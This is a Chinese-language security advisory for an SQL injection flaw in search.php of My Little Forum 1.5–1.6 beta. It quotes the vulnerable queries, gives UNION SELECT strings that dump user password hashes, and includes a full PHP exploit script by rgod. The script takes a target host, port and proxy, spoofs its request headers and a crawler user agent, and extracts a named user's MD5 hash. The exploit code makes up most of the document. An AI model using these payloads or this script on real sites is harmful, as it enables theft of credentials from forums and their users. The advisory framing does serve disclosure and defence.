My Little Forum search.php远程SQL注入漏洞


添加时间:
2005-09-23

系统编号:
WAVDB-00666
BUGTRAQ: 14908

影响版本:
My Little Forum 1.5-1.6 Beta

程序介绍:

My Little Forum是一款简单的WEB论坛程序。

漏洞分析:

My Little Forum中存在SQL注入漏洞,成功利用这个漏洞的攻击者可以完全入侵基础数据库系统。

在search.php的第144行:

...
$result = mysql_query( SELECT id, pid, tid, DATE_FORMAT(time + INTERVAL  .
$time_difference.  HOUR,' .$lang['time_format']. ') AS Uhrzeit,
DATE_FORMAT(time + INTERVAL  .$time_difference.  HOUR, ' .$lang['time_format']. ')
AS Datum, subject, name, email, hp, place, text, category FROM  .$forum_table. 
WHERE  .$search_string.  ORDER BY tid DESC, time ASC LIMIT  .$ul. ,  
.$settings['search_results_per_page'], $connid);
...

然后在搜索页面,选择“phrase”,然后键入:

[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*

由于没有过滤$searchstring变量,如果关闭了magic quote的话,就可以得到任何管理员/用户口令哈希。

1.6beta版也受漏洞影响:
...
$result = mysql_query( SELECT id, pid, tid, UNIX_TIMESTAMP(time + INTERVAL \
 .$time_difference.  HOUR) AS Uhrzeit, subject, name, email, hp, place, text, \
category FROM  .$db_settings['forum_table'].  WHERE  .$search_string.  ORDER BY tid \
DESC, time ASC LIMIT  .$ul. ,  .$settings['search_results_per_page'], $connid);
...

在注入字符串中删除语句,可得到同样的结果

[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*



漏洞利用:

 
  1. <?php  
  2. #   mlfexpl.php                                                                #  
  3. #                                                                              #  
  4. #   My Little Forum 1.5 ( possibly prior versions) SQL Injection /             #  
  5. #   MD5 password hash disclosure poc exploit with proxy support                #  
  6. #                                                                              #  
  7. #                                by rgod                                       #  
  8. #                      site: http://rgod.altervista.org                        #  
  9. #                                                                              #  
  10. #   make these changes in php.ini if you have troubles                         #  
  11. #   to launch this script:                                                     #  
  12. #   allow_call_time_pass_reference = on                                        #  
  13. #   register_globals = on                                                      #  
  14. #                                                                              #  
  15. #   usage: launch this script from Apache, fill requested fields, then...      #  
  16. #   dump all password hashes from database right now...                        #  
  17. #                                                                              #  
  18. #   Sun-Tzu:  You can be sure of succeeding in your attacks if you only attack #  
  19. #   places which are undefended. You can ensure the safety of your defense if  #  
  20. #   you only hold positions that cannot be attacked.                           #  
  21.   
  22. error_reporting(0);  
  23. ini_set( max_execution_time ,0);  
  24. ini_set( default_socket_timeout , 2);  
  25. ob_implicit_flush (1);  
  26.   
  27. echo'<head><title>My Little Forum 1.5 SQL Injection </title><meta http-equiv= Co  
  28. ntent-Type   content= text/html; charset=iso-8859-1 ><style type= text/css ><!--  
  29. body,td,th {   color:  #00FF00;} body {  background-color: #000000;} .Stile5   {  
  30. font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px;}  .Stile6{  
  31. font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold; font-sty  
  32. le: italic; } --> </style></head> <body> <p class= Stile6 >  My   Little Forum 1  
  33. .5 SQL Injection </p><p class= Stile6 >a script by rgod at <a href= http: //rgod  
  34. .altervista.org     target= _blank  > http://rgod.altervista.org </a> </p><table  
  35. width= 84% ><tr><td width= 43% >  <form  name= form1   method= post    action= '  
  36. .$SERVER[PHP_SELF].'?path=value&host=value&port=value&proxy=value&username=value  
  37.  ><p><input type= text  name= host ><span class= Stile5 >hostname (ex: www.siten  
  38. ame.com) </span></p><p><input type= text     name= path >  <span class= Stile5 >  
  39. path (ex: /mylf/ or just /) </span></p><p><input type= text   name= port  ><span  
  40. class= Stile5 > specify a port other than 80 (default value)</span></p><p><input  
  41. type= text  name= proxy > <span class= Stile5 > send  exploit  through  an  HTTP  
  42. proxy (ip:port) </span> </p> <p> <input type= text  name= username > <span class  
  43. = Stile5 >username whom you want MD5 hash </span> </p> <p> <input  type= submit   
  44. name= Submit  value= go! ></p></form></td></tr></table></body>';  
  45.   
  46. function show($headeri)  
  47. {  
  48. $ii=0;  
  49. $ji=0;  
  50. $ki=0;  
  51. $ci=0;  
  52. echo '<table border= 0 ><tr>';  
  53. while ($ii <= strlen($headeri)-1)  
  54. {  
  55. $datai=dechex(ord($headeri[$ii]));  
  56. if ($ji==16) {  
  57.              $ji=0;  
  58.              $ci++;  
  59.              echo  <td>  </td> ;  
  60.              for ($li=0; $li<=15; $li++)  
  61.                       { echo  <td> .$headeri[$li+$ki]. </td> ;  
  62.                 }  
  63.             $ki=$ki+16;  
  64.             echo  </tr><tr> ;  
  65.             }  
  66. if (strlen($datai)==1) {echo  <td>0 .$datai. </td> ;} else  
  67. {echo  <td> .$datai. </td>  ;}  
  68. $ii++;  
  69. $ji++;  
  70. }  
  71. for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)  
  72.                       { echo  <td>  </td> ;  
  73.                        }  
  74.   
  75. for ($li=$ci*16; $li<=strlen($headeri); $li++)  
  76.                       { echo  <td> .$headeri[$li]. </td> ;  
  77.                 }  
  78. echo  </tr></table> ;  
  79. }  
  80.   
  81. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  82.   
  83. function sendpacket($packet,$show)  
  84. {  
  85. global $proxy$host$port$html;  
  86. if ($proxy=='')  
  87.            {$ock=fsockopen(gethostbyname($host),$port);}  
  88.              else  
  89.            {  
  90.         if (!eregi($proxy_regex,$proxy))  
  91.         {echo htmlentities($proxy).' -> not a valid proxy...';  
  92.          die;  
  93.         }  
  94.        $parts=explode(':',$proxy);  
  95.         echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...  
  96. ';  
  97.         $ock=fsockopen($parts[0],$parts[1]);  
  98.         if (!$ock) { echo 'No response from proxy...';  
  99.             die;  
  100.                }  
  101.        }  
  102. fputs($ock,$packet);  
  103. if ($proxy=='')  
  104.   {  
  105.   
  106.     $html='';  
  107.     while (!feof($ock))  
  108.       {  
  109.         $html.=fgets($ock);  
  110.       }  
  111.   }  
  112. else  
  113.   {  
  114.     $html='';  
  115.     while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))  
  116.     {  
  117.       $html.=fread($ock,1);  
  118.     }  
  119.   }  
  120. fclose($ock);  
  121. if ($show) {echo nl2br(htmlentities($html));}  
  122. }  
  123.   
  124. if (($path<>''and ($host<>''and ($username<>''))  
  125. {  
  126.   if ($port=='') {$port=80;}  
  127.   
  128.   
  129. $sql= %' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, \  
  130. user_pw, user_pw, user_pw, user_pw ; $sql= , user_pw ; //if version is 1.6 beta, just \  
  131. add a comment to ths line $sql=  FROM forum_userdata WHERE \  
  132. user_name=' .$username. '/* ; $sql=urlencode($sql); 
  133.  
  134. if ($proxy=='') 
  135. {$packet= GET  .$path. search.php?search= .$sql. &ao=phrase HTTP/1.1\r\n ;} 
  136. else 
  137. {$packet= GET http:// .$host.$path. search.php?search= .$sql. &ao=phrase \ 
  138. HTTP/1.1\r\n ;} $packet.= Client-IP: 127.0.0.1\r\n ; 
  139. $packet.= X-Forwarded-For: 127.0.0.1\r\n ; 
  140. $packet.= Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, \ 
  141. application/x-shockwave-flash, application/msword, */*\r\n ; $packet.= Referer: \  
  142. http:// .$host.$path. search.php\r\n ; $packet.= Accept-Language: en\r\n ;  
  143. $packet.= Accept-Encoding: gzip, deflate\r\n ;  
  144. $packet.= User-Agent: Baiduspider+(+http://www.baidu.com/search/spider.htm)\r\n ;  
  145. $packet.= Host:  .$host. \r\n ;  
  146. $packet.= Connection: Keep-Alive\r\n\r\n ;  
  147. show($packet);  
  148. sendpacket($packet,0);  
  149. $temp=explode(';<span class= category >(',$html);  
  150. $temp2=explode(')</span>',$temp[1]);  
  151. $hash=$temp2[0];  
  152.   
  153. echo '  
  154. username: '.$username.' hash: '.$hash;  
  155. # debugging...  
  156. //echo htmlentities($html);  
  157. }  
  158. else  
  159. {  
  160. echo '  
  161. fill in all requested fields, optionally specify a proxy...  
  162. ';  
  163. }  
  164. ?>  


解决方案:
厂商补丁:
my little homepage
------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 http://www.mylittlehomepage.net/forum_script.html
 

信息来源:
<*来源:rgod (rgod@autistici.org)
   链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112741430006983&w=2
 *>